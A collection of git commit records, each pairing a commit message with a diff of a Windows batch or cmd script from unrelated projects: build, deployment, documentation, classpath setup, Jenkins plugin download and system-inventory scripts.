
--- build.cmd
+++ build.cmd
@@ -20,9 +20,9 @@
 .nuget\NuGet.exe install Sake -version 0.2 -o packages -ExcludeVersion

 IF "%SKIP_DNX_INSTALL%"=="1" goto run
-CALL packages\KoreBuild\build\dnvm upgrade -runtime CLR -x86
-CALL packages\KoreBuild\build\dnvm install default -runtime CoreCLR -x86
+CALL packages\KoreBuild\build\dnvm upgrade -runtime CLR -arch x86
+CALL packages\KoreBuild\build\dnvm install default -runtime CoreCLR -arch x86

 :run
-CALL packages\KoreBuild\build\dnvm use default -runtime CLR -x86
+CALL packages\KoreBuild\build\dnvm use default -runtime CLR -arch x86
 packages\Sake\tools\Sake.exe -I packages\KoreBuild\build -f makefile.shade %*


VirtHCK: Add guest script to run HCK for Windows 8.1 and Windows Server 2012 R2

error: pathspec 'guest_tools/run_hck_studio_8.1.bat' did not match any file(s) known to git

--- guest_tools/run_hck_studio_8.1.bat
+++ guest_tools/run_hck_studio_8.1.bat
@@ -0,0 +1,21 @@
+::
+:: Copyright (c) 2013, Daynix Computing LTD (www.daynix.com)
+:: All rights reserved.
+::
+:: Maintained by bricklets@daynix.com
+::
+:: This file is a part of Bricklets library, see "Bricklets" page
+:: on www.daynix.com for more.
+::
+:: This code is licensed under standard 3-clause BSD license.
+:: See file LICENSE supplied with this package for the full license text.
+::
+echo Disable external network...
+wmic path win32_networkadapter where name="Intel(R) PRO/1000 MT Network Connection" call disable
+
+echo Run HCK studio...
+cd "C:\Program Files (x86)\Windows Kits\8.1\Hardware Certification Kit\Studio\"
+"C:\Program Files (x86)\Windows Kits\8.1\Hardware Certification Kit\Studio\hckstudio.exe"
+
+echo Enable network...
+wmic path win32_networkadapter where name="Intel(R) PRO/1000 MT Network Connection" call enable


Update buildjar.bat

Update buildjar.bat

Include CytoGedevo.jar in the jar file.


Windows make file for Sphinx documentation

error: pathspec 'docs/make.cmd' did not match any file(s) known to git

--- docs/make.cmd
+++ docs/make.cmd
@@ -0,0 +1,71 @@
+@ECHO OFF
+REM ~ Windows command line make file for Sphinx documentation
+
+SETLOCAL
+
+SET SPHINXOPTS=
+SET SPHINXBUILD=sphinx-build
+SET PAPER=
+SET SRCDIR=source
+
+IF "%PAPER%" == "" SET PAPER=a4
+SET ALLSPHINXOPTS=-d build\doctrees -D latex_paper_size=%PAPER% %SPHINXOPTS% %SRCDIR%
+
+FOR %%X IN (%SPHINXBUILD%.exe) DO SET P=%%~$PATH:X
+
+FOR %%L IN (html pickle htmlhelp latex changes linkcheck) DO (
+    IF "%1" == "%%L" (
+        IF "%P%" == "" (
+            ECHO.
+            ECHO Error: Sphinx is not available. Please make sure it is correctly installed.
+            GOTO END
+        )
+        MD build\doctrees 2>NUL
+        MD build\%1 || GOTO DIR_EXIST
+        %SPHINXBUILD% -b %1 %ALLSPHINXOPTS% build\%1
+        IF NOT ERRORLEVEL 0 GOTO ERROR
+        ECHO.
+        ECHO Build finished. Results are in build\%1.
+        IF "%1" == "pickle" (
+            ECHO Now you can process the pickle files or run
+            ECHO    sphinx-web build\pickle to start the sphinx-web server.
+        )
+        IF "%1" == "htmlhelp" (
+            ECHO Now you can run HTML Help Workshop with the
+            ECHO    .hhp project file in build/htmlhelp.
+        )
+        IF "%1" == "linkcheck" (
+            ECHO Look for any errors in the above output
+            ECHO    or in build\linkcheck\output.txt.
+        )
+        GOTO END
+    )
+)
+
+IF "%1" == "clean" (
+    RD /s /q build dist %SRCDIR%\api\generated 2>NUL
+    IF ERRORLEVEL 0 ECHO Build environment cleaned!
+    GOTO END
+)
+
+ECHO.
+ECHO Please use "make [target]" where [target] is one of:
+ECHO.
+ECHO    html      to make standalone HTML files
+ECHO    pickle    to make pickle files (usable by e.g. sphinx-web)
+ECHO    htmlhelp  to make HTML files and a HTML help project
+ECHO    latex     to make LaTeX files, you can set PAPER=a4 or PAPER=letter
+ECHO    changes   to make an overview over all changed/added/deprecated items
+ECHO    linkcheck to check all external links for integrity
+GOTO END
+
+:DIR_EXIST
+ECHO.
+ECHO Info: Run "make clean" to clean build environment
+
+:ERROR
+ECHO.
+ECHO Error: Build process failed!
+
+:END
+ENDLOCAL


Update Xamarin Forms build script

Update Xamarin Forms build script

--- Build/BuildRelease_XamarinForms.cmd
+++ Build/BuildRelease_XamarinForms.cmd
@@ -1,3 +1,3 @@
-UpdateVersionNumbers.exe /VersionFromNuGet=OxyPlot.Core /Dependency=OxyPlot.Core /ReleaseNotesFile=..\RELEASE-NOTES.md /Directory=..
+UpdateVersionNumbers.exe /VersionFromNuGet=OxyPlot.Core /Dependency=OxyPlot.Core /ReleaseNotesFile=..\CHANGELOG.md /Directory=..

-"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" ..\Source\OxyPlot.XamarinForms.sln /p:Configuration=Release+"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" ..\Source\OxyPlot.XamarinForms.sln /p:Configuration=Release


Make start server script stop all the things before start

--- startRestServerAsDaemon.cmd
+++ startRestServerAsDaemon.cmd
@@ -1 +1,2 @@
+forever stopall
 forever start server.js


Fix profile-creator scripts to support JDK11

Fixes wso2/product-ei/issues/4906
Fixes wso2/product-ei/issues/4902

--- distribution/src/scripts/profile-creator.bat
+++ distribution/src/scripts/profile-creator.bat
@@ -30,7 +30,6 @@
 echo 	2.Analytics Profile
 echo 	3.Business Process profile
 echo 	4.Broker profile
-echo 	5.Msf4j profile

 set /p profileNumber= [Please enter the desired profile number to create the profile specific distribution]

@@ -38,7 +37,6 @@
 IF /I "%profileNumber%" EQU "2" goto Analytics
 IF /I "%profileNumber%" EQU "3" goto BPS
 IF /I "%profileNumber%" EQU "4" goto Broker
-IF /I "%profileNumber%" EQU "5" goto Msf4j

 echo Invalid profile identifier.
 goto Exit
@@ -50,7 +48,6 @@
     call :Remove_BROKER
     call :Remove_ANALYTICS
     call :Remove_JARS
-    call :Remove_MSF4J
     echo Integrator profile created successfully.
 	goto Exit

@@ -61,7 +58,6 @@
     call :Remove_INTEGRATOR
     call :Remove_ANALYTICS
     call :Remove_JARS
-    call :Remove_MSF4J
     echo Broker profile created successfully.
     goto Exit

@@ -72,7 +68,6 @@
     call :Remove_INTEGRATOR
     call :Remove_ANALYTICS
     call :Remove_JARS
-    call :Remove_MSF4J
     echo Business Process profile created successfully.
     goto Exit

@@ -80,12 +75,8 @@
     echo Preparing the Analytics profile.
     call :Remove_BPS
     call :Remove_BROKER
-    call :Remove_MSF4J
     call :Remove_INTEGRATOR
-    call :Remove_MSF4J
     IF EXIST %DIR%\..\conf @RD /S /Q %DIR%\..\conf
-    IF EXIST %DIR%\..\lib @RD /S /Q %DIR%\..\lib
-    IF EXIST %DIR%\..\dropins @RD /S /Q %DIR%\..\dropins
     IF EXIST %DIR%\..\dbscripts @RD /S /Q %DIR%\..\dbscripts
     IF EXIST %DIR%\..\patches @RD /S /Q %DIR%\..\patches
     IF EXIST %DIR%\..\repository @RD /S /Q %DIR%\..\repository
@@ -96,35 +87,8 @@
     IF EXIST %DIR%\..\wso2\analytics @RD /S /Q %DIR%\..\wso2\msf4j
     IF EXIST %DIR%\..\wso2\broker @RD /S /Q %DIR%\..\wso2\broker
     IF EXIST %DIR%\..\wso2\business-process @RD /S /Q %DIR%\..\wso2\business-process
-    IF EXIST %DIR%\..\wso2\components @RD /S /Q %DIR%\..\wso2\components
-    IF EXIST %DIR%\..\wso2\lib @RD /S /Q %DIR%\..\wso2\lib
     IF EXIST %DIR%\..\wso2\tmp @RD /S /Q %DIR%\..\wso2\tmp
     echo Analytics profile created successfully.
-    goto Exit
-
-:Msf4j
-    echo Preparing the Msf4j profile.
-    call :Remove_BPS
-    call :Remove_BROKER
-    call :Remove_ANALYTICS
-    call :Remove_INTEGRATOR
-    IF EXIST %DIR%\..\conf @RD /S /Q %DIR%\..\conf
-    IF EXIST %DIR%\..\lib @RD /S /Q %DIR%\..\lib
-    IF EXIST %DIR%\..\dropins @RD /S /Q %DIR%\..\dropins
-    IF EXIST %DIR%\..\dbscripts @RD /S /Q %DIR%\..\dbscripts
-    IF EXIST %DIR%\..\patches @RD /S /Q %DIR%\..\patches
-    IF EXIST %DIR%\..\repository @RD /S /Q %DIR%\..\repository
-    IF EXIST %DIR%\..\resources @RD /S /Q %DIR%\..\resources
-    IF EXIST %DIR%\..\samples @RD /S /Q %DIR%\..\samples
-    IF EXIST %DIR%\..\servicepacks @RD /S /Q %DIR%\..\servicepacks
-    IF EXIST %DIR%\..\webapp-mode @RD /S /Q %DIR%\..\webapp-mode
-    IF EXIST %DIR%\..\wso2\analytics @RD /S /Q %DIR%\..\wso2\analytics
-    IF EXIST %DIR%\..\wso2\broker @RD /S /Q %DIR%\..\wso2\broker
-    IF EXIST %DIR%\..\wso2\business-process @RD /S /Q %DIR%\..\wso2\business-process
-    IF EXIST %DIR%\..\wso2\components @RD /S /Q %DIR%\..\wso2\components
-    IF EXIST %DIR%\..\wso2\lib @RD /S /Q %DIR%\..\wso2\lib
-    IF EXIST %DIR%\..\wso2\tmp @RD /S /Q %DIR%\..\wso2\tmp
-    echo Msf4j profile created successfully.
     goto Exit

 :Remove_BPS
@@ -148,10 +112,10 @@
     echo Removing Analytics profile
     IF EXIST %DIR%\..\wso2\analytics @RD /S /Q %DIR%\..\wso2\analytics
     IF EXIST %DIR%\..\wso2\components\analytics-default @RD /S /Q %DIR%\..\wso2\components\analytics-default
-    IF EXIST %DIR%\analytics.bat del %DIR%\analytics-worker.bat
-    IF EXIST %DIR%\analytics.sh del %DIR%\analytics-worker.sh
-    IF EXIST %DIR%\analytics.bat del %DIR%\analytics-dashboard.bat
-    IF EXIST %DIR%\analytics.sh del %DIR%\analytics-dashboard.sh
+    IF EXIST %DIR%\analytics-worker.bat del %DIR%\analytics-worker.bat
+    IF EXIST %DIR%\analytics-worker.sh del %DIR%\analytics-worker.sh
+    IF EXIST %DIR%\analytics-dashboard.bat del %DIR%\analytics-dashboard.bat
+    IF EXIST %DIR%\analytics-dashboard.sh del %DIR%\analytics-dashboard.sh
     goto :eof

 :Remove_INTEGRATOR
@@ -175,11 +139,5 @@
     rename %DIR%\..\wso2\components\tmp_plugins plugins
     goto :eof

-:Remove_MSF4J
-    IF EXIST %DIR%\..\wso2\msf4j @RD /S /Q %DIR%\..\wso2\msf4j
-    IF EXIST %DIR%\msf4j.bat del %DIR%\msf4j.bat
-    IF EXIST %DIR%\msf4j.sh del %DIR%\msf4j.sh
-    goto :eof
-
 :Exit
     pause


Deployment shell script

Deployment shell script

error: pathspec 'eai-portal-build/deploy.cmd' did not match any file(s) known to git

--- eai-portal-build/deploy.cmd
+++ eai-portal-build/deploy.cmd
@@ -0,0 +1 @@
+copy ..\eai-portal-webapp-administration\target\eai-administration.war %JBOSS_HOME%\liferay\deploy


Add comments to release_win.bat

Add comments to release_win.bat

--- tools/release_win.bat
+++ tools/release_win.bat
@@ -1,15 +1,27 @@
-PATH=C:\python26;C:\progra~1\7-zip;C:\progra~2\7-zip;%PATH%
+rem Tool to assemble Windows builds
+rem Requirements are 7-zip, py2exe, and FreeExtractor
+
+PATH=C:\python27;C:\python26;C:\progra~1\7-zip;C:\progra~2\7-zip;%PATH%
+
+rem ****** Clean out the old junk
 rmdir /q /s dist\*.*
 del /s /q dist\*.*
+
+rem ****** Compile our executable and core zipfile
 python setup.py py2exe
+
+rem ****** Remove extras from core zipfile
 cd dist
-#7z d namebench.zip jinja2\* dns\* 'graphy\*
 7z d namebench.zip tcl\*.*
 rmdir /s /q tcl\tcl8.5\tzdata tcl\tk8.5\demos
 del tcl\tk8.5\images\*.eps
+
+rem ****** Final assembly of zipfile
 copy ..\README.txt .
 7z a namebench_for_Windows.zip -r * >nul
-namebench -x -O 8.8.8.8 -t5 -o test.html
+
+rem ****** Test assembled zipfile
+namebench -x -O 8.8.8.8 -q5 -o test.html
 start test.html

 cd ..


updated configure.bat.

updated configure.bat.

--- configure.bat
+++ configure.bat
@@ -100,10 +100,6 @@
   echo   set VCVARSBAT="%%VS140COMNTOOLS%%..\..\VC\vcvarsall.bat">> %TFENV%
   echo ^) else if not "%%VS120COMNTOOLS%%" == "" ^(>> %TFENV%
   echo   set VCVARSBAT="%%VS120COMNTOOLS%%..\..\VC\vcvarsall.bat">> %TFENV%
-  echo ^) else if not "%%VS110COMNTOOLS%%" == "" ^(>> %TFENV%
-  echo   set VCVARSBAT="%%VS110COMNTOOLS%%..\..\VC\vcvarsall.bat">> %TFENV%
-  echo ^) else if not "%%VS100COMNTOOLS%%" == "" ^(>> %TFENV%
-  echo   set VCVARSBAT="%%VS100COMNTOOLS%%..\..\VC\vcvarsall.bat">> %TFENV%
   echo ^) else ^(>> %TFENV%
   echo   set VCVARSBAT="">> %TFENV%
   echo ^)>> %TFENV%


Fixed problem with missing Makefiles.

Fixed problem with missing Makefiles.

--- configure.bat
+++ configure.bat
@@ -38,6 +38,10 @@

 nmake qmake_all

+cd libs
+nmake qmake_all
+cd ..
+
 rem force relink

 cd ..


listed more plugins in use

listed more plugins in use

--- update.cmd
+++ update.cmd
@@ -8,16 +8,13 @@
 set HPI=windows-slaves.hpi
 call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%

-
 set TITLE=Token Macro Plugin
 set HPI=token-macro.hpi
 call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%

-
 set TITLE=Scriptler Plugin
 set HPI=scriptler.hpi
 call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
-

 set TITLE=SCM API Plugin
 set HPI=scm-api.hpi
@@ -109,61 +106,42 @@
 set HPI=credentials.hpi
 call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%

+set TITLE=JQuery
+set HPI=jquery.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+set TITLE=Node and Label parameter plugin
+set HPI=nodelabelparameter.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+
+set TITLE=Mask Passwords Plugin
+set HPI=mask-passwords.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+set TITLE=Promoted Builds ^(Simple^)
+set HPI=promoted-builds-simple.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+set TITLE=Hudson PowerShell plugin
+set HPI=powershell.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+set TITLE=Build User Vars Plugin
+set HPI=build-user-vars-plugin.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+set TITLE=Copy Artifact Plugin
+set HPI=copyartifact.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
+
+set TITLE=Monitoring external jobs
+set HPI=external-monitor-job.hpi
+call wget-1.10.2.exe --no-check-certificate %BASE_URL%/%HPI%
+
 goto :EOF

-Ant Plugin
-This plugin adds Apache Ant support to Jenkins.
-1.2
-

-
-Credentials Plugin
-This plugin allows you to store credentials in Jenkins.
-1.18
-
-CVS Plugin
-Integrates Jenkins with CVS version control system using a modified version of the Netbeans cvsclient.
-2.11
-
-
-Javadoc Plugin
-This plugin adds Javadoc support to Jenkins.
-1.1
-
-LDAP Plugin
-Security realm based on LDAP authentication.
-1.6
-
-Mailer
-This plugin allows you to configure email notifications. This is a break-out of the original core based email component.
-1.11
-
-Maven Project Plugin
-Jenkins plugin for building Maven 2/3 jobs via a special project type.
-2.7.1
-
-OWASP Markup Formatter Plugin
-Uses the OWASP Java HTML Sanitizer to allow safe-seeming HTML markup to be entered in project descriptions and the like.
-1.1
-
-PAM Authentication Plugin
-Adds Unix Pluggable Authentication Module (PAM) support to Jenkins.
-1.1
+Uno-Choice Plug-in

-
-
-Subversion Plugin
-This plugin adds the Subversion support (via SVNKit) to Jenkins.
-1.54
-
-
-
-Translation Assistance Plugin
-This plugin adds an additional dialog box in every page, which enables people to contribute localizations for the messages they are seeing in the current page.
-1.10
-
-Uno-Choice Plug-in
-This plug-in provides additional parameter types for jobs, that allow you to cascade changes and render images or other HTML elements instead of the traditional parameter.
-0.24-SNAPSHOT (private-01/20/2015 19:37-sergueik)
-
-


Update Qt to 4.8.5 on Windows.

Update Qt to 4.8.5 on Windows.

--- tools/Windows/BuildDeps.cmd
+++ tools/Windows/BuildDeps.cmd
@@ -214,12 +214,9 @@

 :: Qt
 :: NOTE For VS2012 support Qt 4.8.3>= needed: http://stackoverflow.com/questions/12113400/compiling-qt-4-8-x-for-visual-studio-2012
-:: In theory, 4.8.4 should support VS2012 out-of-the-box, but in practice doesn't...
-:: NOTE ftp://ftp.qt-project.org/qt/source/ Can be used for Qt < 4.8.2, for Qt >= 4.8.2 use http://releases.qt-project.org/qt4/source/
-::set QT_VER=4.7.4
-::set QT_URL=ftp://ftp.qt-project.org/qt/source/qt-everywhere-opensource-src-%QT_VER%.zip
-set QT_VER=4.8.4
-set QT_URL=http://releases.qt-project.org/qt4/source/qt-everywhere-opensource-src-%QT_VER%.zip
+:: In theory, Qt >= 4.8.4 should support VS2012 out-of-the-box, but in practice it doesn't...
+set QT_VER=4.8.5
+set QT_URL=http://download.qt-project.org/official_releases/qt/4.8/%QT_VER%/qt-everywhere-opensource-src-%QT_VER%.zip
 IF NOT EXIST "%DEPS%\qt". (
    cd "%DEPS%"
    IF NOT EXIST qt-everywhere-opensource-src-%QT_VER%.zip. (


Avoid double copy of d3dcompiler_47.dll

Avoid double copy of d3dcompiler_47.dll

ninja expects the output of an action to update the timestamp, however
a plain copy does not do this. So on a second run, ninja sees the
timestamp of the copy .bat is newer than the dll (original publish date)
so it re-copies. To avoid this, `touch` the dll on copy.

BUG=453037
Change-Id: Icb849d2b0faaceeccfc33e2eda509c835c9cdc93
Reviewed-on: https://chromium-review.googlesource.com/244040
Reviewed-by: Jamie Madill <7e492b4f1c8458024932de3ba475cbf015424c30@chromium.org>
Tested-by: Scott Graham <e134406e1863f3b48b0795831afac5c0595efb36@chromium.org>

--- src/copy_compiler_dll.bat
+++ src/copy_compiler_dll.bat
@@ -2,3 +2,8 @@
 set _arch=%1
 set _arch=%_arch:Win32=x86%
 copy %2"\Redist\D3D\"%_arch%"\d3dcompiler_47.dll" %3 > NUL
+:: This is equivalent to `touch', see:
+:: https://technet.microsoft.com/en-us/library/bb490886.aspx
+:: This avoids rerunning because this batch file is also copied to the gen dir,
+:: so it's timestamp would otherwise be newer than the dll.
+copy /b %3\d3dcompiler_47.dll+,, %3\d3dcompiler_47.dll > NUL


Update IntelCollection.bat

Update IntelCollection.bat

--- Windows/IntelCollection.bat
+++ Windows/IntelCollection.bat
@@ -23,3 +23,5 @@
 if %errorlevel%==1 echo Startup Processes failed to write
 net start > StartedProcesses.txt
 if %errorlevel%==1 echo Started processes failed to write
+reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Run  Run.reg
+if %errorlevel%==1 echo Run processes failed to write


Update antlr4.bat

Update antlr4.bat

--- Agiil.QueryLanguage.Antlr/Tools/antlr4.bat
+++ Agiil.QueryLanguage.Antlr/Tools/antlr4.bat
@@ -3,4 +3,6 @@

 SET CLASSPATH=.;%ANTLR_JAR_PATH%;%CLASSPATH%

+echo %CLASSPATH%
+
 java org.antlr.v4.Tool %*


Fixed deploy script

Fixed deploy script


initial

initial

error: pathspec 'clean.bat' did not match any file(s) known to git


cleanup

cleanup

--- docs/make.bat
+++ docs/make.bat
@@ -1,35 +0,0 @@
-@ECHO OFF
-
-pushd %~dp0
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set SOURCEDIR=source
-set BUILDDIR=build
-
-if "%1" == "" goto help
-
-%SPHINXBUILD% >NUL 2>NUL
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.https://www.sphinx-doc.org/
-	exit /b 1
-)
-
-%SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
-goto end
-
-:help
-%SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
-
-:end
-popd


DRILL-1008: Update the way that Windows sqlline.bat composes its classpath

--- distribution/src/resources/sqlline.bat
+++ distribution/src/resources/sqlline.bat
@@ -133,22 +133,25 @@
 )

 echo Calculating Drill classpath...
-set DRILL_CLASSPATH=%DRILL_HOME%\jars\*;%DRILL_CLASSPATH%
-set DRILL_CLASSPATH=%DRILL_HOME%\lib\*;%DRILL_CLASSPATH%
-set DRILL_CLASSPATH=%DRILL_HOME%\contrib\*;%DRILL_CLASSPATH%
-if "test%USE_HADOOP_CP%"=="1" set DRILL_CLASSPATH=%HADOOP_CLASSPATH%;!DRILL_CLASSPATH!
-if "test%USE_HBASE_CP%"=="1" set DRILL_CLASSPATH=%HBASE_CLASSPATH%;!DRILL_CLASSPATH!
-set DRILL_CLASSPATH=%DRILL_CONF_DIR%;%DRILL_CLASSPATH%
+
+set DRILL_CP=%DRILL_CONF_DIR%
+if NOT "test%DRILL_CLASSPATH_PREFIX%"=="test" set DRILL_CP=!DRILL_CP!;%DRILL_CLASSPATH_PREFIX%
+set DRILL_CP=%DRILL_CP%;%DRILL_HOME%\jars\*
+set DRILL_CP=%DRILL_CP%;%DRILL_HOME%\extlib\*
+if "test%USE_HADOOP_CP%"=="test1" set DRILL_CP=!DRILL_CP!;%HADOOP_CLASSPATH%
+if "test%USE_HBASE_CP%"=="test1" set DRILL_CP=!DRILL_CP!;%HBASE_CLASSPATH%
+set DRILL_CP=%DRILL_CP%;%DRILL_HOME%\lib\*
+set DRILL_CP=%DRILL_CP%;%DRILL_HOME%\contrib\*
+if NOT "test%DRILL_CLASSPATH%"=="test" set DRILL_CP=!DRILL_CP!;%DRILL_CLASSPATH%

 set "DRILL_SHELL_JAVA_OPTS=%DRILL_SHELL_JAVA_OPTS% -Dlog.path=%DRILL_LOG_DIR%\sqlline.log"

 if NOT "test%QUERY%"=="test" (
-  echo %QUERY% | java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CLASSPATH% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS%
+  echo %QUERY% | java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CP% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS%
 ) else (
   if NOT "test%FILE%"=="test" (
-    java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CLASSPATH% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS% --run=%FILE%
+    java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CP% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS% --run=%FILE%
   ) else (
-    java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CLASSPATH% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS%
+    java %DRILL_SHELL_JAVA_OPTS% %DRILL_JAVA_OPTS% -cp %DRILL_CP% sqlline.SqlLine -d org.apache.drill.jdbc.Driver %DRILL_ARGS%
   )
 )
-


Remove farabi6.bat for testing

Remove farabi6.bat for testing

--- bin/farabi6.bat
+++ bin/farabi6.bat
@@ -1,14 +0,0 @@
-@rem = '--*-Perl-*--
-@echo off
-if "%OS%" == "Windows_NT" goto WinNT
-perl6 "%~dp0\%0" %1 %2 %3 %4 %5 %6 %7 %8 %9
-goto endofperl
-:WinNT
-perl6 "%~dp0\%~n0" %*
-if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl
-if %errorlevel% == 9009 echo You do not have Perl in your PATH.
-if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul
-goto endofperl
-@rem ';
-__END__
-:endofperl


Old, untested script removed

Old, untested script removed

--- bin/install.cmd
+++ bin/install.cmd
@@ -1,18 +0,0 @@
-
-aws configure
-set /p keyPairName=EC2 SSH key pair name:
-aws emr create-cluster ^
-   --name "Spark4n6 Cluster" ^
-   --ami-version 3.11.0 ^
-   --instance-groups ^
-       Name="Spark4n6Master",InstanceCount=1,InstanceGroupType=MASTER,InstanceType=m1.large ^
-       Name="Spark4n6 Core",InstanceCount=8,InstanceGroupType=CORE,InstanceType=m2.2xlarge ^
-   --use-default-roles ^
-   --service-role EMR_DefaultRole ^
-   --ec2-attributes KeyName=%keyPairName% ^
-   --bootstrap-actions ^
-       Name="Install Ganglia",Path=s3://elasticmapreduce/bootstrap-actions/install-ganglia ^
-       Name="Install Spark",Path=file:///usr/share/aws/emr/install-spark/install-spark ^
-       Name="Install HBase",Path=s3://elasticmapreduce/bootstrap-actions/setup-hbase ^
-       Name="Configure Hadoop",Args=--hdfs-key-value,io.file.buffer.size=65536,Path=s3://elasticmapreduce/bootstrap-actions/configure-hadoop ^
-       Name="Configure daemons",Args=--namenode-opts=-XX:GCTimeRatio=19,Path": "s3://elasticmapreduce/bootstrap-actions/configure-daemons


put uniplt_xxxxxxx.dll in the right place

svn: r2769

--- src/mzscheme/dynsrc/mkmzdyn.bat
+++ src/mzscheme/dynsrc/mkmzdyn.bat
@@ -4,4 +4,4 @@
 mkdir ..\..\..\lib\msvc
 copy mzdyn.exp ..\..\..\lib\msvc
 copy mzdyn.obj ..\..\..\lib\msvc
-copy ..\..\worksp\extradlls\*.dll ..\..\..
+copy ..\..\worksp\extradlls\*.dll ..\..\..\lib


change build scripts to also deploy into ServiceStack\lib ILMERGE foler

--- build/build.bat
+++ build/build.bat
@@ -1,22 +1,27 @@
-SET DEPLOY_PATH=C:\src\ServiceStack\release\latest\ServiceStack.OrmLite
-
-REM SET BUILD=Debug
-SET BUILD=Release
-
-SET PROJ_LIBS=
-SET PROJ_LIBS=%PROJ_LIBS% ..\lib\ServiceStack.Client.dll
-SET PROJ_LIBS=%PROJ_LIBS% ..\lib\ServiceStack.Common.dll
-SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.dll
-SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.dll
-SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.dll
-
-ILMerge.exe /ndebug /t:library /out:ServiceStack.OrmLite.dll %PROJ_LIBS%
-COPY *.dll %DEPLOY_PATH%
-
-COPY ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.dll C:\src\ServiceStack\release\lib
-COPY ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.pdb C:\src\ServiceStack\release\lib
-COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.dll C:\src\ServiceStack\release\lib
-COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.pdb C:\src\ServiceStack\release\lib
-COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.dll C:\src\ServiceStack\release\lib
-COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.pdb C:\src\ServiceStack\release\lib
-
+SET DEPLOY_PATH=C:\src\ServiceStack\release\latest\ServiceStack.OrmLite
+
+REM SET BUILD=Debug
+SET BUILD=Release
+
+SET PROJ_LIBS=
+SET PROJ_LIBS=%PROJ_LIBS% ..\lib\ServiceStack.Client.dll
+SET PROJ_LIBS=%PROJ_LIBS% ..\lib\ServiceStack.Common.dll
+SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.dll
+SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.dll
+SET PROJ_LIBS=%PROJ_LIBS% ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.dll
+
+ILMerge.exe /ndebug /t:library /out:ServiceStack.OrmLite.dll %PROJ_LIBS%
+COPY *.dll %DEPLOY_PATH%
+
+COPY ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.dll ..\..\ServiceStack\release\lib
+COPY ..\src\ServiceStack.OrmLite\bin\%BUILD%\ServiceStack.OrmLite.pdb ..\..\ServiceStack\release\lib
+COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.dll ..\..\ServiceStack\release\lib
+COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.pdb ..\..\ServiceStack\release\lib
+COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.dll ..\..\ServiceStack\release\lib
+COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.pdb ..\..\ServiceStack\release\lib
+
+COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.dll ..\..\ServiceStack\lib
+COPY ..\src\ServiceStack.OrmLite.Sqlite\bin\%BUILD%\ServiceStack.OrmLite.Sqlite.pdb ..\..\ServiceStack\lib
